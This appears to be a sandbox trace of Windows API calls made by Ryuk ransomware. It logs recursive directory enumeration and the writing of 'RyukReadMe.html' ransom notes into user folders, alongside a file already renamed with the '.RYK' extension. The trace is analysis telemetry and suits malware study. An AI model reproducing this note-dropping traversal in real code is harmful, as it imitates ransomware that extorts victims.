	[0235.874] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.874] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0235.874] SetLastError (dwErrCode=0x0) 
	[0235.874] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x73c
	[0235.875] GetLastError () returned 0xb7
	[0235.875] CloseHandle (hObject=0x73c) returned 1
	[0235.875] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0235.876] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.876] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.876] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x531d32f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0235.876] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0235.876] SetLastError (dwErrCode=0x0) 
	[0235.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.876] GetLastError () returned 0x3
	[0235.877] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0) returned 0
	[0235.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.877] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x10acb0 | out: lpFindFileData=0x10acb0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0235.877] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0235.877] SetLastError (dwErrCode=0x0) 
	[0235.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.877] GetLastError () returned 0x3
	[0235.877] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0) returned 0
	[0235.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.877] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x206, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0235.878] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x206, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0235.878] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0235.878] SetLastError (dwErrCode=0x0) 
	[0235.878] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.878] GetLastError () returned 0x3
	[0235.878] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0235.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.878] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0235.879] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0235.879] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0235.879] SetLastError (dwErrCode=0x0) 
	[0235.879] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.879] GetLastError () returned 0xb7
	[0235.879] CloseHandle (hObject=0x734) returned 1
	[0235.880] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0235.880] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0235.880] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.880] SetLastError (dwErrCode=0x0) 
	[0235.880] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.880] GetLastError () returned 0xb7
	[0235.881] CloseHandle (hObject=0x72c) returned 1
	[0235.881] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0235.881] SetLastError (dwErrCode=0x0) 
	[0235.881] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.881] GetLastError () returned 0xb7
	[0235.881] CloseHandle (hObject=0x72c) returned 1
	[0235.882] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.883] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.883] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0235.883] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.883] SetLastError (dwErrCode=0x0) 
	[0235.883] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.885] GetLastError () returned 0x0
	[0235.885] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.888] CloseHandle (hObject=0x72c) returned 1
	[0235.889] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0235.890] SetLastError (dwErrCode=0x0) 
	[0235.890] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.890] GetLastError () returned 0xb7
	[0235.890] CloseHandle (hObject=0x72c) returned 1
	[0235.890] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0235.890] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0235.891] SetLastError (dwErrCode=0x0) 
	[0235.891] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.891] GetLastError () returned 0x3
	[0235.891] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0235.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.891] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0235.891] SetLastError (dwErrCode=0x0) 
	[0235.891] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.892] GetLastError () returned 0xb7
	[0235.892] CloseHandle (hObject=0x72c) returned 1
	[0235.892] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.893] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.893] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1
	[0235.893] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 0
	[0235.893] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.893] SetLastError (dwErrCode=0x0) 
	[0235.893] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\themes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.895] GetLastError () returned 0x0
	[0235.895] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.900] CloseHandle (hObject=0x72c) returned 1
